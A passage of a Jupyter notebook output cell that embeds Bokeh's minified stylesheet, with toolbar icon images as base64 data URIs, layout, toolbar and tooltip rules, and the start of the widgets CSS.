.bk-tool-icon-wheel-pan{background-image:url(\\\\\\\"data:image/png;base64,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\\\\\\\")}.bk-root .bk-tool-icon-wheel-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgskILvMJQAABTtJREFUWMPdl1+MXVUVxn/fPvf2zrSFmUKnoBCUdjRoVaIxEpO2JhilMYBCtBQS2hejpg1Uo2NUrIFAoyGmtiE+GHwQGtvQJhqDmKYRBv+URFsFDNCSptH60DJTO3dKnX/33rM/H7rvsDu9M20fDMaVnGTvtb69z7fWXmvtc/TEzqd4OyXwNsv/FwFJQVI/sA14SZKRLOlPkr5TrVYXHz70quYkEEK4TtI2YAgYkrQthHDdhV5uuw+43/ZrwCbgRttgY/tjtrc0m83X3/f+D6ydnJhYcB4BSZcBA7aP2d4ELAGW2N5k+xgwkDB0IH19CGGH7R8B1aQeAf4KvAw0ku4K2zu7uru3ApdPEyiKohd4TNKjtjt5h6RHgccSNrddbvuHtm9Jqoak7xVF8WFgdavV+pSk5cCObNmXgK++85prCj3z28HKqZMnH7D9YAY4BvwujT8BvCuL1INX9vVt+dfwcCvNb7f9q2RuSfrGvWu/sL2Nf3LX7pzvj4ENSGBPVarVd4fRkZFltjdmoMGiKO4IIWwIIWwoiuIOYDDzeOPoyMiyFLkum7WJCMDztrcrTTrIRuAQZ6NcK1utL4dWq/VZoC8BhqvV6l1lWb4YYxyLMY6VZflitVq9CxhOmL60hhCKeYiV7WMKIXw9jT1HpXw3c+bOAKzOjJubzebJrKQCQLPZPClpc7bP6rMYKtjXth2OMf7tIkr11Wz8oQDc1Fb09vY+kQw1YAuwJY2nbUluAnCWpKkaFl6IQIzxivaR2SYA89sJVK/Xp2x32R6w/a30DNjuqtfrU0ArYecDCEqgLqm94T0dEm9mBG7PxkdDlkBnkhebgIezNQ8nHcCZPL9ijE1Jf/bZZoPtzbavmqNZLbf9tSxq+yoduuJ+SZ+zXSZyBXCqU+d8fvC5yRUrV+0G2j3g2hDCLyXd/+Su3QdnvP/zCuH72LWsgf2k0oHlH2c2odlkxcpVEdgr6aDtjyb8x20/J+mA7T9I6rL9SWA5dne2/GdXLl58qNJh398An85yTMA+4DOz8Dgu6Zu2dwJXJ91ltm8Gbp7Fgb+EEB4aHhpq5CEtACqVyr3AC0AlPS8k3TSmQ2YPhhBuS/1/LpmS9JTtNTHGfwBU2uUALARotVqniqJYH2Pck85pfavVaufAwnQvnHc0McaDKVptebN94QAnJB0EdtjekydyZXqjs/0ZgLIs/w6sy8bnYGYJ63pgERKC05JutT1kOwITwL9tvzlzUQUYB+Zjs2DBgu6xsbGJZHstByZbezregcBXeCsEz1bnzXt5anLyzLq71zDLxTRdVgemdx0fv2e2w5thO5DbiqL4oKT3ZKpnpyYnz+SY2ZpTAPZmJfdIrVZbNBNUq9UW2X4kU+2dcf53Aj1pj2PA7y/6m1DS00A9za9uNBq7iqJYBuoGdRdFsazRaOzKSqye1rTbaa/tlbYrqXQP2X4FIA9/J1l39xrC0v7+w5IeB8XkwS1lWe6TGJAYKMty31tfO4qSHl/a3384I3CDpI+kzC4lnRfrue6GytEjR8oQwlY73gC0L4qlth/q0M1/LYWtR48cKQF6enrC6dOnVwGLEpnxnp7en4+O1i/tszzGOCTpPmB7ahb57QUwBWyXdF+McWg6MScmuoA8OX8xOlpvXGz422XYTsB/SnpA0h7bX5R0WzI9HUL4qe2XbI+dk3xl+V7gxoztD5jRI+YK/zkEEokx2/uB/RdzIfUtueqVN04cXwF8G3iHY3z9Urw/j8ClyhsnjrcS2Vv/J/8NLxT+/zqBTkcxU/cfEkyEAu3kmjAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-box-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg4QfHjM1QAAAGRJREFUWMNjXLhsJcNAAiaGAQYsDAwM/+lsJ+OgCwGsLqMB+D8o08CoA0YdMOqAUQewDFQdMBoFIyoN/B/U7YFRB7DQIc7xyo9GwbBMA4xDqhxgISH1klXbDYk0QOseEeOgDgEAIS0JQleje6IAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-tool-icon-freehand-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADTElEQVRYCeWWTWwMYRjH/88721X1lZJIGxJxcEE4OOiBgzjXWh8TJKR76kWacOBGxdEJIdk4VChZI/phidRBHMRRIr7DSUiaSCRFRM3u88gz+o7Z6bBTdjmYZPf9eJ55fv/5zzvvDPC/H9QsA66Olo9Ga+/MdR+Ljm2/KQIULsz9FqItGdOfJKLhApLgVkiSCGODjWit7QpKWy+TNrFeXvzKVUT8NiTVaIgDcbiCFJ7GiT8WkARXAdYBK0Lbhi/CenArRNskuM7/tgNp4ArQ42dwjf3WY5gWTqC7O/NbNn2Xkfw/YwdSw/We14HP2IEZwX+y9cZ9SH0LmgFP7UCz4KkENBNeV0Cz4b8U8DfgKiDxMWwUXETqLvJpCQpXZfawbzS7t9v5pL19cHBwfja7YA0y/lyCM0+E5hv5+piZXwKYcF23as+37bTXsQVqgkL0p/34fHR7DcBtbetFsBmGDwMOJCggYG55yw7dMlk6DuC1Bdu2RsCU9TYWQq2IoGbsreZ5NzvEqfSBsIsIy8OTbcdgiRHeh4o8AFAEwDakbY2AaCCpH7V9aGhoUUUy3UyVbkPYFuYLDlUZH8XBpwxkK0Dbgxg5HcVi0ent7a0RULMIozaHBSMfF9b2SzdutFcFB2FkwMIJOG6qfteXOa1nHZ48tyefuwyfT9s6wtzZ3t7eZse2DR2I228TtHXzuWCx9g8MtK5cuHCZTH4tiHEOa4xFngvTyS8f35d6enomiCi4/foEXBkZaQuukChL4FYA2Whd7YcC4gEdW3CpdL3LtGAVCVYJywEyTpAuJKeMOKXZs/Bw947C50KhUFOG4cwz35cjWNBlHGeD53n3xsfHP/T19U1qciggar8Fa4I3PHobIotBWBtc2hSiChyZxVzM53Pv7FVH6Tp3uVy+g0r1ImD2GjIrQGYIxjnfuXTZGICS5k/bBwJoubwEFX4TLah9EXomJGMA3za+f9913Yl4TnzsDQ+vE6YTZOjHh4ngibstt1pzQwd04F0bPStEBpXqRoBeQ/AKghfBnOEKgS+Q7z91Xfdz/HGKg8Ox7z8iYD9z6wqTkZFgnvhMGP9VZ2or1XVkPM9z0mytSfVsHa1RLBZbLoyNzUnK+ydz3wC6I9x+lwbngwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEjglo9eZgwAAAc5JREFUWMPt1zFrU1EUB/DfS4OmVTGDIChCP4BgnQXRxVHqIJUupp9AB8VBQcRBQUXIB9DWQoMRiXZzcnQSA34A7aAuHSJKkgo2LvfBrU3aJnlYkBy4vHcP557zP/9z3r33JdXa647N0kHSZd5Nn0rSxc8G3cXp85sMcnZZ8vge3osZ+l3vB8CWFA0iL14t79h210swAjACMAIwAjACkB90D/8/GchI9ve4nPwTBh5E9ws7OepzGWb9EddSn51Op9ZstadSg4VK1UKlKkmSDSMLALewiuNh/hVJq71Wxttmqz0dG88vPc+MgWP4grvYG3SLOBrZFFFrttqPe4HIDxh4GSei+98iSlusuYopXEAjBtEPA3tQwUpwluAbDm4TPJUz+BTW9l2Ce6G7L0X/Bw8D3T/7SKKIDzHg7QCcxjvcQAEtXAnrrg/RP0/DKPbqgcN4iVOR7gcO4dcQgRuoh7HSqwlP4n20m63jJu5n8MkWMYfP3UowhzdR8FU8w9iQwevBdyq3/27CMRzAE5yLuvsRLg+ZcR1nJ8YL81HWJUzGAPaFZwe/Q5MdyYDyNHgjzO90YyGHtVDncuiJchaHw8R4oREFV5qdiVmYLM3OgD9k5209/atmIAAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-point-draw{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEiERGWPELgAAA4RJREFUWMO1lr1uG1cQhb9ztdRSP7AF1QxgwKlcuZSqRC9gWUUUINWqTh5AnaFOnVPEteQmRuhCURqWsSqqc9IolREXdEvQBElxtdw7KURSFEVKu4w8wAKLxdw9Z+bMnRmZGXfZ29//II8th4WwGVNyIoQLYB5vxA9Caq04iUd9A+7ZlsNC2I7TdSd2hZXMJKlnTqp9jtl/GBaqoyQ0noFKpUIzBicYYc+DEFpxkglc4oVJa5gvDn8v1xV2irG3FM4NSVwjUKlUaMcpJhCGmSEJQ6QGD8M5WnHCd8+f3QCXpPLx8WNwv0j6Bm9FMK7FJ3WBE+R/2t7c/GBmFvSBrzRTCsyTDjXrxUgEMtpxynJYmJoBJ4VAybwVARgvL7Oik0okCodnKpVKX7P0leiVMb0VvbJT+upznK4vh0GIeQwwQStJkHQD3MwsCALTJRG7Qrdrj5m/djgYaIa0hlkRdJk26XEgC9txurccBtVW3IudBImmZuACUP+ZlIDBt9FKcubYNTcAH/X0RYM1E7utJPlqe+uZzPxUcEkiSS4sTT95n15Mud0xWC0o2PAWOCdK3KYZlFxfM+tHOcnMzNr1es18ug+cgsVjP4yBU/Ppfrter1m/+l0+zYygML1xRVHU7TSb1cSzBzoBzszsH+AMdJJ49jrNZjWKou6wBnwOzcyndBpNbuueURR1Dw8Pq35p9cc5p/Dy9Dypt7jXrtdGwQECS9NPhr6Gq6txUzNigE6zydLK6lTw12/KT4FGFEUfJX2YJNONq5tVs4ODA7sD/DnwJ/BoADZuE3tHFs12dna6d4C/BI6AlbyzI8ii2TTw12/KK33gb2cdXsNZoAntbZC2SeO4c9592k/5eNQbiwvFd1kJuFGwLJr1wSPg/SwpvyFBHufOeXcFeAlE97U/uCxOY+P3b+Bn4B3Q+L8EdJfD4a+/AbC4UBzPxiPg3wlHZquB28Cn2IuR9x3gr3uV4DbwfvSDOvi4uFA8BDZmIRHkjHpS9Ht9iRqd8+5G3g05mAGcQbsdiX5QJ428G7Kygo8XYdb1/K4NWVmjzkNge2sz84bs+ELmpDDLtqWsNZBXgvmw8CTtpWVMT7x5YWBjLARnwZfKQNYN2U2LPvrh+5nBt7c2M2/It9bArCTKR8eZN+SJ13AScPnoODeRdqNenH+wul5w2gUr2WUjMFAt8bZ/0axX/wNnv4H8vTFb1QAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-poly-edit{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gELFi46qJmxxAAABV9JREFUWMOdl19vFFUYxn9n9u9sCyylUIzWUoMQBAWCMdEEIt6xIRQSLIEKtvHe6AcA4yeQb7CAUNJy0daLeomJN8SEULAC2kBBapBKoLvbmdl/c14vdmY7u91tF95kknPOnHmf95znPc97Ro2OTeBbdjFDT3c32ZxVHUOE9kSMB0/m6ExuoJn1H+ur6Y+OTfD50SMN5168OgrAlyf7CfuD+z7+iDs3p8hkLUQ0iFQ/yFl5Nm/qonfHVva+s32Zw9GxCYILsZ08tpNfBhbs+1YN4OH9+7huGdECSBVfqUosbsllfmauBqiR+cCNwOr7AEo8pPHJnymXykhg5fUWjoQpl0vVvhZhbSzGoUOHqgBlt6B6uruj2Zy1E9jo0fhfeyL2x4Mnc8VErK0KUEOB64JSyptfG4RSytsJjUJVxw2lsFy3urL9nx1Qd25ObctkrVMi+jQivd7U2ZyV/3Hzpq7h3h1b/7p9Y0o8v8rwAbTWrGpSocN/FGDlbAI0Rl23PCBan0Ok158H9Ipwzi25A/Mzc9Gl/BYx/E4kYqC1NKRARNAaDCNUM27Z+Zr+ouXs0q4+LSLBHPYCFkTkC6uU39kwCdsS7WRKmaYUiAhdnZ3MPX2K4+QjQI+C94A93rMzm8ltMwyDeDzWjMZeEb2pYQDdW3vITU2jtUZ5QThOPgm8C7wP7J15OPsBsB3oWpGnVWisCeDS1VHj4vBI92+/3tgB7Ab2AruAXiDBK5oIOkhtkEYRNRuJhObrd8Dl9ewf4D5wG7hVLpen29vb5wzD+BrkbBMaL3d1dk5nsrnlFDTTFWAWmAZueWD3gCemGde2k2fw1Al1YXhEvjozoO49eczdqekrWmsc2zlrmvEKOGoW1GUjFLqSk2KpJrCLwyMCPAP+BO54QL8DM6YZX/ClsP9YnwKkXnIBP4jdIpJRpdJTCYdMwwi98KU0Hjc/dDILNyUcwTCWdOSMJ0TRmBktGRhLugu0xyLk7CIqVNm+0bGJptl1YXikD0grpY4Rjc4a8Fbgdab/6OGbAJeCUuyJnnHmZH9pbSyGuBXV8NUwlUpR1EWyixmSyTWEwqGlJ2Swbo2JXbAAfgDGgGQA9I1A9t1tlq0AxrXxn0ilUpw4fhQqYkH/sT41OTnJJwf2s6FjI5mshdYa7bqVR2uezr9MJmJt14FvGrh/O9D+e6UkM/xyCuCqEKCYnJyUTKFQrZDHjxzGshwWLQcRsOz8Hi85P23id0ug/XilAMLBmm4tPGdoaKjSH5+oAGrhwvBI9SjZTn4QSK9yenoD7dlrExPoJlXW8G8ytpNHxRKk02lGxsdRKFwXLNvx5yY94HQLGhGk4LFCYQSqaE0AwWM1eOoEbR0dKBSW7bC4mKuffxs4D/wCLKwQQPAUzIkslfp6cVomROWSolh0GjldAM4nzDi2k9/i5UAzC9aKfwNJ3zgJg9YEvN6+C7SHgKm69+sD7RfNnKTTaZRPQfAut4oFV//IS7gkcB34VlVo8kGzphlfB+DU+TfNGBpZtRastvrvARJmfMF28ge9sc2B9/PNnCilMIDwK6y8/ow/Ai4kvILTljAXvDvEvrqKSUs60KolzPjBxspavQD2tKqCAGF/Ba+xE/Wbilu54wZV8NEKF5fXzQHl/bh4hUsE0WAXSlDMYcQSrQXgCmsTseXHsJkNnjqBFGwKJaHsKlxtUHYVhbLCzr1kaOA4bcn1y1Swmb+iLpJKpVrfgdpfsiVVCYcgluwgnU7jEgJ4s5UkLFtWYyHyEg0/N1q1tmQH+YXnAMFr97Nmv3p+0QsHQRsF8qpBOE5+rb9Nkaj50tVQKjqh4OU3GNL/1/So3vuUgbAAAAAASUVORK5CYII=\\\\\\\")}.bk-root .bk-grid-row,.bk-root .bk-grid-column{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap}.bk-root .bk-grid-row>*,.bk-root .bk-grid-column>*{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-grid-row{flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-grid-column{flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-canvas-wrapper{position:relative;font-size:12pt}.bk-root .bk-canvas,.bk-root .bk-canvas-overlays,.bk-root .bk-canvas-events{position:absolute;top:0;left:0;width:100%;height:100%}.bk-root .bk-canvas-map{position:absolute;border:0}.bk-root .bk-logo{margin:5px;position:relative;display:block;background-repeat:no-repeat}.bk-root .bk-logo.bk-grey{filter:url(\\\\\\\"data:image/svg+xml;utf8,<svg xmlns=\\\\\\\\'http://www.w3.org/2000/svg\\\\\\\\'><filter id=\\\\\\\\'grayscale\\\\\\\\'><feColorMatrix type=\\\\\\\\'matrix\\\\\\\\' values=\\\\\\\\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\\\\\\\\'/></filter></svg>#grayscale\\\\\\\");filter:gray;-webkit-filter:grayscale(100%)}.bk-root .bk-logo-notebook{display:inline-block;vertical-align:middle;margin-right:5px}.bk-root .bk-logo-small{width:20px;height:20px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTNui8sowAAAOkSURBVDiNjZRtaJVlGMd/1/08zzln5zjP1LWcU9N0NkN8m2CYjpgQYQXqSs0I84OLIC0hkEKoPtiH3gmKoiJDU7QpLgoLjLIQCpEsNJ1vqUOdO7ppbuec5+V+rj4ctwzd8IIbbi6u+8f1539dt3A78eXC7QizUF7gyV1fD1Yqg4JWz84yffhm0qkFqBogB9rM8tZdtwVsPUhWhGcFJngGeWrPzHm5oaMmkfEg1usvLFyc8jLRqDOMru7AyC8saQr7GG7f5fvDeH7Ej8CM66nIF+8yngt6HWaKh7k49Soy9nXurCi1o3qUbS3zWfrYeQDTB/Qj6kX6Ybhw4B+bOYoLKCC9H3Nu/leUTZ1JdRWkkn2ldcCamzrcf47KKXdAJllSlxAOkRgyHsGC/zRday5Qld9DyoM4/q/rUoy/CXh3jzOu3bHUVZeU+DEn8FInkPBFlu3+nW3Nw0mk6vCDiWg8CeJaxEwuHS3+z5RgY+YBR6V1Z1nxSOfoaPa4LASWxxdNp+VWTk7+4vzaou8v8PN+xo+KY2xsw6une2frhw05CTYOmQvsEhjhWjn0bmXPjpE1+kplmmkP3suftwTubK9Vq22qKmrBhpY4jvd5afdRA3wGjFAgcnTK2s4hY0/GPNIb0nErGMCRxWOOX64Z8RAC4oCXdklmEvcL8o0BfkNK4lUg9HTl+oPlQxdNo3Mg4Nv175e/1LDGzZen30MEjRUtmXSfiTVu1kK8W4txyV6BMKlbgk3lMwYCiusNy9fVfvvwMxv8Ynl6vxoByANLTWplvuj/nF9m2+PDtt1eiHPBr1oIfhCChQMBw6Aw0UulqTKZdfVvfG7VcfIqLG9bcldL/+pdWTLxLUy8Qq38heUIjh4XlzZxzQm19lLFlr8vdQ97rjZVOLf8nclzckbcD4wxXMidpX30sFd37Fv/GtwwhzhxGVAprjbg0gCAEeIgwCZyTV2Z1REEW8O4py0wsjeloKoMr6iCY6dP92H6Vw/oTyICIthibxjm/DfN9lVz8IqtqKYLUXfoKVMVQVVJOElGjrnnUt9T9wbgp8AyYKaGlqingHZU/uG2NTZSVqwHQTWkx9hxjkpWDaCg6Ckj5qebgBVbT3V3NNXMSiWSDdGV3hrtzla7J+duwPOToIg42ChPQOQjspnSlp1V+Gjdged7+8UN5CRAV7a5EdFNwCjEaBR27b3W890TE7g24NAP/mMDXRWrGoFPQI9ls/MWO2dWFAar/xcOIImbbpA3zgAAAABJRU5ErkJggg==)}.bk-root .bk-toolbar,.bk-root .bk-toolbar *{box-sizing:border-box;margin:0;padding:0}.bk-root .bk-toolbar-hidden{visibility:hidden;opacity:0;transition:visibility .3s linear,opacity .3s linear}.bk-root .bk-toolbar,.bk-root .bk-button-bar{display:flex;display:-webkit-flex;flex-wrap:nowrap;-webkit-flex-wrap:nowrap;align-items:center;-webkit-align-items:center;user-select:none;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.bk-root .bk-toolbar .bk-logo{flex-shrink:0;-webkit-flex-shrink:0}.bk-root .bk-toolbar-above,.bk-root .bk-toolbar-below{flex-direction:row;-webkit-flex-direction:row;justify-content:flex-end;-webkit-justify-content:flex-end}.bk-root .bk-toolbar-above .bk-button-bar,.bk-root .bk-toolbar-below .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:row;-webkit-flex-direction:row}.bk-root .bk-toolbar-above .bk-logo,.bk-root .bk-toolbar-below .bk-logo{order:1;-webkit-order:1;margin-left:5px}.bk-root .bk-toolbar-left,.bk-root .bk-toolbar-right{flex-direction:column;-webkit-flex-direction:column;justify-content:flex-start;-webkit-justify-content:flex-start}.bk-root .bk-toolbar-left .bk-button-bar,.bk-root .bk-toolbar-right .bk-button-bar{display:flex;display:-webkit-flex;flex-direction:column;-webkit-flex-direction:column}.bk-root .bk-toolbar-left .bk-logo,.bk-root .bk-toolbar-right .bk-logo{order:0;-webkit-order:0;margin-bottom:5px}.bk-root .bk-toolbar-button{width:30px;height:30px;background-size:60%;background-color:transparent;background-repeat:no-repeat;background-position:center center}.bk-root .bk-toolbar-button:hover{background-color:#f9f9f9}.bk-root .bk-toolbar-button:focus{outline:0}.bk-root .bk-toolbar-button::-moz-focus-inner{border:0}.bk-root .bk-toolbar-above .bk-toolbar-button{border-bottom:2px solid transparent}.bk-root .bk-toolbar-above .bk-toolbar-button.bk-active{border-bottom-color:#26aae1}.bk-root .bk-toolbar-below .bk-toolbar-button{border-top:2px solid transparent}.bk-root .bk-toolbar-below .bk-toolbar-button.bk-active{border-top-color:#26aae1}.bk-root .bk-toolbar-right .bk-toolbar-button{border-left:2px solid transparent}.bk-root .bk-toolbar-right .bk-toolbar-button.bk-active{border-left-color:#26aae1}.bk-root .bk-toolbar-left .bk-toolbar-button{border-right:2px solid transparent}.bk-root .bk-toolbar-left .bk-toolbar-button.bk-active{border-right-color:#26aae1}.bk-root .bk-button-bar+.bk-button-bar:before{content:\\\\\\\" \\\\\\\";display:inline-block;background-color:lightgray}.bk-root .bk-toolbar-above .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-below .bk-button-bar+.bk-button-bar:before{height:10px;width:1px}.bk-root .bk-toolbar-left .bk-button-bar+.bk-button-bar:before,.bk-root .bk-toolbar-right .bk-button-bar+.bk-button-bar:before{height:1px;width:10px}.bk-root .bk-tooltip{font-family:\\\\\\\"HelveticaNeue-Light\\\\\\\",\\\\\\\"Helvetica Neue Light\\\\\\\",\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,\\\\\\\"Lucida Grande\\\\\\\",sans-serif;font-weight:300;font-size:12px;position:absolute;padding:5px;border:1px solid #e5e5e5;background-color:white;pointer-events:none;opacity:.95}.bk-root .bk-tooltip>div:not(:first-child){margin-top:5px;border-top:#e5e5e5 1px dashed}.bk-root .bk-tooltip.bk-left.bk-tooltip-arrow::before{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-left::before{left:-10px;border-right-width:10px;border-right-color:#909599}.bk-root .bk-tooltip.bk-right.bk-tooltip-arrow::after{position:absolute;margin:-7px 0 0 0;top:50%;width:0;height:0;border-style:solid;border-width:7px 0 7px 0;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-right::after{right:-10px;border-left-width:10px;border-left-color:#909599}.bk-root .bk-tooltip.bk-above::before{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;top:-10px;border-bottom-width:10px;border-bottom-color:#909599}.bk-root .bk-tooltip.bk-below::after{position:absolute;margin:0 0 0 -7px;left:50%;width:0;height:0;border-style:solid;border-width:0 7px 0 7px;border-color:transparent;content:\\\\\\\" \\\\\\\";display:block;bottom:-10px;border-top-width:10px;border-top-color:#909599}.bk-root .bk-tooltip-row-label{text-align:right;color:#26aae1}.bk-root .bk-tooltip-row-value{color:default}.bk-root .bk-tooltip-color-block{width:12px;height:12px;margin-left:5px;margin-right:5px;outline:#ddd solid 1px;display:inline-block}.rendered_html .bk-root .bk-tooltip table,.rendered_html .bk-root .bk-tooltip tr,.rendered_html .bk-root .bk-tooltip th,.rendered_html .bk-root .bk-tooltip td{border:0;padding:1px}\\\\n/* END bokeh.min.css */\\\");\\n\",\n       \"      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n\",\n       \"      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh-widgets.min.css */\\\\n@charset \\\\\\\"UTF-8\\\\\\\";.bk-root{/*!\\\\n * Pikaday\\\\n * Copyright \\\\u00a9 2014 David Bushell | BSD & MIT license | http://dbushell.com/\\\\n */}.bk-root .bk-noUi-target,.bk-root .bk-noUi-target *{-webkit-touch-callout:none;-webkit-tap-highlight-color:rgba(0,0,0,0);-webkit-user-select:none;-ms-touch-action:none;touch-action:none;-ms-user-select:none;-moz-user-select:none;user-select:none;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-target{position:relative;direction:ltr}.bk-root .bk-noUi-base{width:100%;height:100%;position:relative;z-index:1}.bk-root .bk-noUi-connect{position:absolute;right:0;top:0;left:0;bottom:0}.bk-root .bk-noUi-origin{position:absolute;height:0;width:0}.bk-root .bk-noUi-handle{position:relative;z-index:1}.bk-root .bk-noUi-state-tap .bk-noUi-connect,.bk-root .bk-noUi-state-tap .bk-noUi-origin{-webkit-transition:top .3s,right .3s,bottom .3s,left .3s;transition:top .3s,right .3s,bottom .3s,left .3s}.bk-root .bk-noUi-state-drag *{cursor:inherit !important}.bk-root .bk-noUi-base,.bk-root .bk-noUi-handle{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.bk-root .bk-noUi-horizontal{height:18px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:34px;height:28px;left:-17px;top:-6px}.bk-root .bk-noUi-vertical{width:18px}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:28px;height:34px;left:-6px;top:-17px}.bk-root 